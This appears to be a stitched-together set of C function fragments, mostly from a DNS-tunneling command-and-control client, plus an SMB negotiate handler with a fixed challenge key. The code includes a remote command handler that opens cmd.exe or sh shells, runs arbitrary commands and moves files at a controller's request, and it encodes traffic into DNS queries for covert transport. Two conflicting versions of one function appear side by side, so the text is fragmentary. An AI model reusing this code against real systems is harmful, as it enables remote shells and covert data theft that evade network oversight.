void parse_SMB_COM_NEGOTIATE(int s, SMB_t *smb) { uint16_t choice; char dialects[256]; SMB_t *response = smb_create_response(SMB_COM_NEGOTIATE, 1, smb); choice = 0; while(buffer_can_read_ntstring(smb->data[0].buffer)) { buffer_read_next_ntstring(smb->data[0].buffer, dialects, 256); printf("Offered dialect: %s\n", dialects); choice++; } /* Parameters. */ buffer_add_int16(response->parameters[0].buffer, choice); /* Dialect index. */ buffer_add_int8(response->parameters[0].buffer, 0x03); /* Security mode. */ buffer_add_int16(response->parameters[0].buffer, 0x01); /* Max Mpx. */ buffer_add_int16(response->parameters[0].buffer, 0x01); /* Max VCs. */ buffer_add_int32(response->parameters[0].buffer, 4356); /* Buffer size. */ buffer_add_int32(response->parameters[0].buffer, 65535); /* Max raw. */ buffer_add_int32(response->parameters[0].buffer, 0); /* Session key. */ buffer_add_int32(response->parameters[0].buffer, 0x8000e3fd); /* TODO: testing. CAP_STATUS32 | CAP_NT_SMBS); Capabilities. */ buffer_add_int32(response->parameters[0].buffer, 0x8789e1f4); /* System time. */ buffer_add_int32(response->parameters[0].buffer, 0x01c8fedb); /* System time. */ buffer_add_int16(response->parameters[0].buffer, 360); /* Timezone offset. */ buffer_add_int8(response->parameters[0].buffer, 8); /* Key length. */ /* Data. */ buffer_add_bytes(response->data[0].buffer, "AAAAAAAA", 8); /* Encryption key. */ buffer_add_unicode(response->data[0].buffer, "name"); /* Server name. */ buffer_add_unicode(response->data[0].buffer, "domain"); /* Server domain. */ smb_send(response, s, -1, NULL); /* TODO: Fix. */ }
static SELECT_RESPONSE_t exec_callback(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *param) { driver_exec_t *driver = (driver_exec_t*) param; buffer_add_bytes(driver->outgoing_data, data, length); return SELECT_OK; }
/* There can only be one driver_console, so store these as global variables. */ static SELECT_RESPONSE_t console_stdin_recv(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *d) { driver_console_t *driver = (driver_console_t*) d; buffer_add_bytes(driver->outgoing_data, data, length); return SELECT_OK; }
uint8_t *packet_to_bytes(packet_t *packet, size_t *length, options_t options) { buffer_t *buffer = buffer_create(BO_BIG_ENDIAN); buffer_add_int16(buffer, packet->packet_id); buffer_add_int8(buffer, packet->packet_type); buffer_add_int16(buffer, packet->session_id); switch(packet->packet_type) { case PACKET_TYPE_SYN: buffer_add_int16(buffer, packet->body.syn.seq); buffer_add_int16(buffer, packet->body.syn.options); if(packet->body.syn.options & OPT_NAME) { buffer_add_ntstring(buffer, packet->body.syn.name); } if(packet->body.syn.options & OPT_DOWNLOAD) { buffer_add_ntstring(buffer, packet->body.syn.filename); } break; case PACKET_TYPE_MSG: if(options & OPT_CHUNKED_DOWNLOAD) { buffer_add_int32(buffer, packet->body.msg.options.chunked.chunk); } else { buffer_add_int16(buffer, packet->body.msg.options.normal.seq); buffer_add_int16(buffer, packet->body.msg.options.normal.ack); } buffer_add_bytes(buffer, packet->body.msg.data, packet->body.msg.data_length); break; case PACKET_TYPE_FIN: buffer_add_ntstring(buffer, packet->body.fin.reason); break; case PACKET_TYPE_PING: buffer_add_ntstring(buffer, packet->body.ping.data); break; default: LOG_FATAL("Error: Unknown message type: %u\n", packet->packet_type); exit(1); } return buffer_create_string_and_destroy(buffer, length); }
/* This is the "front door" for data coming into the session through * stdin. When data arrives on stdin, the data should be passed to this * function. If the session is actually using stdin for input, this will * be read and, more then likely, come back out a session_read() call. */ static void session_feed(sessions_t *sessions, char *name, uint8_t *data, uint32_t length) { session_t *session = session_get(sessions, name); if(!session) { fprintf(stderr, "Session not found: %s\n", name); return; } buffer_add_bytes(session->buffer, data, length); }
/* Read and return an entire file. */ uint8_t *read_file(char *filename, uint64_t *out_length) { char buffer[1024]; size_t bytes_read; buffer_t *b = buffer_create(BO_HOST); FILE *f = fopen(filename, "rb"); if(!f) die("Couldn't open input file"); while((bytes_read = fread(buffer, 1, 1024, f)) != 0) { buffer_add_bytes(b, buffer, bytes_read); } return buffer_create_string_and_destroy(b, out_length); }
static SELECT_RESPONSE_t recv_callback(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param) { options_t *options = (options_t*)param; /* Cleanup - if the buffer is empty, reset it */ if(buffer_get_remaining_bytes(options->buffer) == 0) buffer_clear(options->buffer); buffer_add_bytes(options->buffer, data, length); /* If we have at least a length value */ if(buffer_get_remaining_bytes(options->buffer) >= 2) { /* Read the length. */ uint16_t expected_length = buffer_peek_next_int16(options->buffer); /* Check if we have the full length. */ if(buffer_get_remaining_bytes(options->buffer) - 2 >= expected_length) { uint8_t *data; size_t returned_length; /* Consume the value we already know */ buffer_read_next_int16(options->buffer); /* Read the rest of the buffer. */ data = buffer_read_remaining_bytes(options->buffer, &returned_length, expected_length, TRUE); /* Sanity check. */ assert(expected_length == returned_length); /* Do the callback. */ session_recv(options->session, data, returned_length); /* Free it. */ safe_free(data); /* Clear the buffer if it's empty. */ if(buffer_get_remaining_bytes(options->buffer) == 0) buffer_clear(options->buffer); } } return SELECT_OK; }
void tcpcat_send(uint8_t *data, size_t length, void *d) { options_t *options = (options_t*) d; buffer_t *buffer; uint8_t *encoded_data; size_t encoded_length; if(options->s == -1) { /* Attempt a TCP connection */ LOG_INFO("Connecting to %s:%d", options->host, options->port); options->s = tcp_connect(options->host, options->port); /* If it fails, just return (it will try again next send) */ if(options->s == -1) { LOG_FATAL("Connection failed!"); exit(1); } /* If it succeeds, add it to the select_group */ select_group_add_socket(options->group, options->s, SOCKET_TYPE_STREAM, options); select_set_recv(options->group, options->s, recv_callback); select_set_closed(options->group, options->s, closed_callback); } assert(options->s != -1); /* Make sure we have a valid socket. */ assert(data); /* Make sure they aren't trying to send NULL. */ assert(length > 0); /* Make sure they aren't trying to send 0 bytes. */ buffer = buffer_create(BO_BIG_ENDIAN); buffer_add_int16(buffer, length); buffer_add_bytes(buffer, data, length); encoded_data = buffer_create_string_and_destroy(buffer, &encoded_length); if(tcp_send(options->s, encoded_data, encoded_length) == -1) { LOG_ERROR("[[TCP]] send error, closing socket!"); tcpcat_close(options); } }
/* Polls the driver for data and puts it in our own buffer. This is necessary * because the session needs to ACK data and such. */ static void poll_for_data(session_t *session) { size_t length = -1; /* Read all the data we can. */ uint8_t *data = driver_get_outgoing(session->driver, &length, -1); /* If a driver returns NULL, it means it's done - once the driver is * done and all our data is sent, go into 'shutdown' mode. */ if(!data) { if(buffer_get_remaining_bytes(session->outgoing_buffer) == 0) session_kill(session); } else { if(length) buffer_add_bytes(session->outgoing_buffer, data, length); safe_free(data); } }
void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length) { command_packet_stream_feed(driver->stream, data, length); while(command_packet_stream_ready(driver->stream)) { command_packet_t *in = command_packet_stream_read(driver->stream); command_packet_t *out = NULL; printf("Got a command: "); command_packet_print(in); if(in->command_id == COMMAND_PING && in->is_request == TRUE) { LOG_WARNING("Got a ping request! Responding!\n"); out = command_packet_create_ping_response(in->request_id, in->r.request.body.ping.data); } else if(in->command_id == COMMAND_SHELL && in->is_request == TRUE) { #ifdef WIN32 session_t *session = session_create_exec(driver->group, "cmd.exe", "cmd.exe"); #else session_t *session = session_create_exec(driver->group, "sh", "sh"); #endif controller_add_session(session); out = command_packet_create_shell_response(in->request_id, session->id); } else if(in->command_id == COMMAND_EXEC && in->is_request == TRUE) { session_t *session = session_create_exec(driver->group, in->r.request.body.exec.name, in->r.request.body.exec.command); controller_add_session(session); out = command_packet_create_exec_response(in->request_id, session->id); } else if(in->command_id == COMMAND_DOWNLOAD && in->is_request == TRUE) { struct stat s; if(stat(in->r.request.body.download.filename, &s) != 0) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { uint8_t *data; FILE *f = NULL; #ifdef WIN32 fopen_s(&f, in->r.request.body.download.filename, "rb"); #else f = fopen(in->r.request.body.download.filename, "rb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { data = safe_malloc(s.st_size); if(fread(data, 1, s.st_size, f) == s.st_size) out = command_packet_create_download_response(in->request_id, data, s.st_size); else out = command_packet_create_error_response(in->request_id, -1, "There was an error reading the file"); fclose(f); safe_free(data); } } } else if(in->command_id == COMMAND_UPLOAD && in->is_request == TRUE) { #ifdef WIN32 FILE *f; fopen_s(&f, in->r.request.body.upload.filename, "wb"); #else FILE *f = fopen(in->r.request.body.upload.filename, "wb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for writing"); } else { fwrite(in->r.request.body.upload.data, in->r.request.body.upload.length, 1, f); fclose(f); out = command_packet_create_upload_response(in->request_id); } } else if(in->command_id == COMMAND_SHUTDOWN && in->is_request == TRUE) { controller_kill_all_sessions(); out = command_packet_create_shutdown_response(in->request_id); } else { LOG_ERROR("Got a command packet that we don't know how to handle!\n"); out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!"); } if(out) { uint8_t *data; uint32_t length; printf("Response: "); command_packet_print(out); data = command_packet_to_bytes(out, &length); buffer_add_bytes(driver->outgoing_data, data, length); } command_packet_destroy(in); } }
void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length) { command_packet_t *in = NULL; command_packet_t *out = NULL; buffer_add_bytes(driver->stream, data, length); while((in = command_packet_read(driver->stream))) { /* TUNNEL_DATA commands are too noisy to print. */ if(in->command_id != TUNNEL_DATA) { printf("Got a command: "); command_packet_print(in); } switch(in->command_id) { case COMMAND_PING: out = handle_ping(driver, in); break; case COMMAND_SHELL: out = handle_shell(driver, in); break; case COMMAND_EXEC: out = handle_exec(driver, in); break; case COMMAND_DOWNLOAD: out = handle_download(driver, in); break; case COMMAND_UPLOAD: out = handle_upload(driver, in); break; case COMMAND_SHUTDOWN: out = handle_shutdown(driver, in); break; case COMMAND_DELAY: out = handle_delay(driver, in); break; case TUNNEL_CONNECT: out = handle_tunnel_connect(driver, in); break; case TUNNEL_DATA: out = handle_tunnel_data(driver, in); break; case TUNNEL_CLOSE: out = handle_tunnel_close(driver, in); break; case COMMAND_ERROR: out = handle_error(driver, in); break; default: LOG_ERROR("Got a command packet that we don't know how to handle!\n"); out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!"); } /* Respond if and only if an outgoing packet was created. */ if(out) { uint8_t *data; size_t length; if(out->command_id != TUNNEL_DATA) { printf("Response: "); command_packet_print(out); } data = command_packet_to_bytes(out, &length); buffer_add_bytes(driver->outgoing_data, data, length); safe_free(data); command_packet_destroy(out); } command_packet_destroy(in); } }
/* This function expects to receive the proper length of data. */ static void handle_packet_out(driver_dns_t *driver, uint8_t *data, size_t length) { size_t i; dns_t *dns; buffer_t *buffer; uint8_t *encoded_bytes; size_t encoded_length; uint8_t *dns_bytes; size_t dns_length; size_t section_length; assert(driver->s != -1); /* Make sure we have a valid socket. */ assert(data); /* Make sure they aren't trying to send NULL. */ assert(length > 0); /* Make sure they aren't trying to send 0 bytes. */ assert(length <= MAX_DNSCAT_LENGTH(driver->domain)); buffer = buffer_create(BO_BIG_ENDIAN); /* If no domain is set, add the wildcard prefix at the start. */ if(!driver->domain) { buffer_add_bytes(buffer, (uint8_t*)WILDCARD_PREFIX, strlen(WILDCARD_PREFIX)); buffer_add_int8(buffer, '.'); } section_length = 0; /* TODO: I don't much care for this loop... */ for(i = 0; i < length; i++) { char hex_buf[3]; #ifdef WIN32 sprintf_s(hex_buf, 3, "%02x", data[i]); #else sprintf(hex_buf, "%02x", data[i]); #endif buffer_add_bytes(buffer, hex_buf, 2); /* Add periods when we need them. */ section_length += 2; if(i + 1 != length && section_length + 2 >= MAX_FIELD_LENGTH) { section_length = 0; buffer_add_int8(buffer, '.'); } } /* If a domain is set, instead of the wildcard prefix, add the domain to the end. */ if(driver->domain) { buffer_add_int8(buffer, '.'); buffer_add_bytes(buffer, driver->domain, strlen(driver->domain)); } buffer_add_int8(buffer, '\0'); /* Get the result out. */ encoded_bytes = buffer_create_string_and_destroy(buffer, &encoded_length); /* Double-check we didn't mess up the length. */ assert(encoded_length <= MAX_DNS_LENGTH); dns = dns_create(_DNS_OPCODE_QUERY, _DNS_FLAG_RD, _DNS_RCODE_SUCCESS); dns_add_question(dns, (char*)encoded_bytes, driver->type, _DNS_CLASS_IN); dns_bytes = dns_to_packet(dns, &dns_length); LOG_INFO("Sending DNS query for: %s to %s:%d", encoded_bytes, driver->dns_host, driver->dns_port); udp_send(driver->s, driver->dns_host, driver->dns_port, dns_bytes, dns_length); safe_free(dns_bytes); safe_free(encoded_bytes); dns_destroy(dns); }
static SELECT_RESPONSE_t recv_socket_callback(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param) { /*driver_dns_t *driver_dns = param;*/ dns_t *dns = dns_create_from_packet(data, length); driver_dns_t *driver = (driver_dns_t*) param; LOG_INFO("DNS response received (%d bytes)", length); /* TODO */ if(dns->rcode != _DNS_RCODE_SUCCESS) { /* TODO: Handle errors more gracefully */ switch(dns->rcode) { case _DNS_RCODE_FORMAT_ERROR: LOG_ERROR("DNS: RCODE_FORMAT_ERROR"); break; case _DNS_RCODE_SERVER_FAILURE: LOG_ERROR("DNS: RCODE_SERVER_FAILURE"); break; case _DNS_RCODE_NAME_ERROR: LOG_ERROR("DNS: RCODE_NAME_ERROR"); break; case _DNS_RCODE_NOT_IMPLEMENTED: LOG_ERROR("DNS: RCODE_NOT_IMPLEMENTED"); break; case _DNS_RCODE_REFUSED: LOG_ERROR("DNS: RCODE_REFUSED"); break; default: LOG_ERROR("DNS: Unknown error code (0x%04x)", dns->rcode); break; } } else if(dns->question_count != 1) { LOG_ERROR("DNS returned the wrong number of response fields (question_count should be 1, was instead %d).", dns->question_count); LOG_ERROR("This is probably due to a DNS error"); } else if(dns->answer_count < 1) { LOG_ERROR("DNS didn't return an answer"); LOG_ERROR("This is probably due to a DNS error"); } else { size_t i; uint8_t *answer = NULL; size_t answer_length = 0; dns_type_t type = dns->answers[0].type; if(type == _DNS_TYPE_TEXT) { /* Get the answer. */ answer = dns->answers[0].answer->TEXT.text; answer_length = dns->answers[0].answer->TEXT.length; LOG_INFO("Received a TXT response (%zu bytes)", answer_length); /* Decode it. */ answer = buffer_decode_hex(answer, &answer_length); } else if(type == _DNS_TYPE_CNAME) { /* Get the answer. */ answer = remove_domain((char*)dns->answers[0].answer->CNAME.name, driver->domain); answer_length = strlen((char*)answer); LOG_INFO("Received a CNAME response (%zu bytes)", answer_length); /* Decode it. */ answer = buffer_decode_hex(answer, &answer_length); } else if(type == _DNS_TYPE_MX) { /* Get the answer. */ answer = remove_domain((char*)dns->answers[0].answer->MX.name, driver->domain); answer_length = strlen((char*)answer); LOG_INFO("Received a MX response (%zu bytes)", answer_length); /* Decode it. */ answer = buffer_decode_hex(answer, &answer_length); } else if(type == _DNS_TYPE_A) { buffer_t *buf = buffer_create(BO_BIG_ENDIAN); qsort(dns->answers, dns->answer_count, sizeof(answer_t), cmpfunc_a); for(i = 0; i < dns->answer_count; i++) buffer_add_bytes(buf, dns->answers[i].answer->A.bytes + 1, 3); answer_length = buffer_read_next_int8(buf); LOG_INFO("Received an A response (%zu bytes)", answer_length); answer = safe_malloc(answer_length); buffer_read_bytes_at(buf, 1, answer, answer_length); } #ifndef WIN32 else if(type == _DNS_TYPE_AAAA) { buffer_t *buf = buffer_create(BO_BIG_ENDIAN); qsort(dns->answers, dns->answer_count, sizeof(answer_t), cmpfunc_aaaa); for(i = 0; i < dns->answer_count; i++) buffer_add_bytes(buf, dns->answers[i].answer->AAAA.bytes + 1, 15); answer_length = buffer_read_next_int8(buf); LOG_INFO("Received an AAAA response (%zu bytes)", answer_length); answer = safe_malloc(answer_length); buffer_read_bytes_at(buf, 1, answer, answer_length); } #endif else { LOG_ERROR("Unknown DNS type returned: %d", type); answer = NULL; } if(answer) { /*LOG_WARNING("Received a %zu-byte DNS response: %s [0x%04x]", answer_length, answer, type);*/ /* Pass the buffer to the caller */ if(answer_length > 0) { /* Pass the data elsewhere. */ message_post_packet_in(answer, answer_length); } safe_free(answer); } } dns_destroy(dns); return SELECT_OK; }
/* Needs to be freed with safe_free() */ uint8_t *command_packet_to_bytes(command_packet_t *packet, size_t *length) { buffer_t *buffer = buffer_create(BO_BIG_ENDIAN); buffer_t *buffer_with_size = buffer_create(BO_BIG_ENDIAN); uint16_t packed_id; packed_id = (packet->is_request ? 0x0000 : 0x8000); packed_id |= (packet->request_id & 0x7FFF); buffer_add_int16(buffer, packed_id); buffer_add_int16(buffer, packet->command_id); switch(packet->command_id) { case COMMAND_PING: if(packet->is_request) buffer_add_ntstring(buffer, packet->r.request.body.ping.data); else buffer_add_ntstring(buffer, packet->r.response.body.ping.data); break; case COMMAND_SHELL: if(packet->is_request) buffer_add_ntstring(buffer, packet->r.request.body.shell.name); else buffer_add_int16(buffer, packet->r.response.body.shell.session_id); break; case COMMAND_EXEC: if(packet->is_request) { buffer_add_ntstring(buffer, packet->r.request.body.exec.name); buffer_add_ntstring(buffer, packet->r.request.body.exec.command); } else { buffer_add_int16(buffer, packet->r.response.body.exec.session_id); } break; case COMMAND_DOWNLOAD: if(packet->is_request) { buffer_add_ntstring(buffer, packet->r.request.body.download.filename); } else { buffer_add_bytes(buffer, packet->r.response.body.download.data, packet->r.response.body.download.length); } break; case COMMAND_UPLOAD: if(packet->is_request) { buffer_add_ntstring(buffer, packet->r.request.body.upload.filename); buffer_add_bytes(buffer, packet->r.request.body.upload.data, packet->r.request.body.upload.length); } else { } break; case COMMAND_SHUTDOWN: break; case TUNNEL_CONNECT: if(packet->is_request) { buffer_add_int32(buffer, packet->r.request.body.tunnel_connect.options); buffer_add_ntstring(buffer, packet->r.request.body.tunnel_connect.host); buffer_add_int16(buffer, packet->r.request.body.tunnel_connect.port); } else { buffer_add_int32(buffer, packet->r.response.body.tunnel_connect.tunnel_id); } break; case TUNNEL_DATA: if(packet->is_request) { buffer_add_int32(buffer, packet->r.request.body.tunnel_data.tunnel_id); buffer_add_bytes(buffer, packet->r.request.body.tunnel_data.data, packet->r.request.body.tunnel_data.length); } else { } break; case TUNNEL_CLOSE: if(packet->is_request) { buffer_add_int32(buffer, packet->r.request.body.tunnel_close.tunnel_id); buffer_add_ntstring(buffer, packet->r.request.body.tunnel_close.reason); } else { } break; case COMMAND_ERROR: if(packet->is_request) { buffer_add_int16(buffer, packet->r.request.body.error.status); buffer_add_ntstring(buffer, packet->r.request.body.error.reason); } else { buffer_add_int16(buffer, packet->r.response.body.error.status); buffer_add_ntstring(buffer, packet->r.response.body.error.reason); } break; default: LOG_FATAL("Unknown command_id: 0x%04x", packet->command_id); exit(1); } buffer_add_int32(buffer_with_size, buffer_get_length(buffer)); buffer_add_buffer(buffer_with_size, buffer); buffer_destroy(buffer); return buffer_create_string_and_destroy(buffer_with_size, length); }
void command_packet_stream_feed(command_packet_stream_t *stream, uint8_t *data, uint16_t length) { buffer_add_bytes(stream->buffer, data, length); }
/* This is another "front door" for data coming into the session. The * difference between this and session_feed() is that this one doesn't * require a session name, and data sent into here will jump the queue * (ie, come out first). The primary reason for this function is for * buffering data when no sessions are connected. */ void session_buffer_data(sessions_t *sessions, uint8_t *data, uint32_t length) { buffer_add_bytes(sessions->buffer_data, data, length); }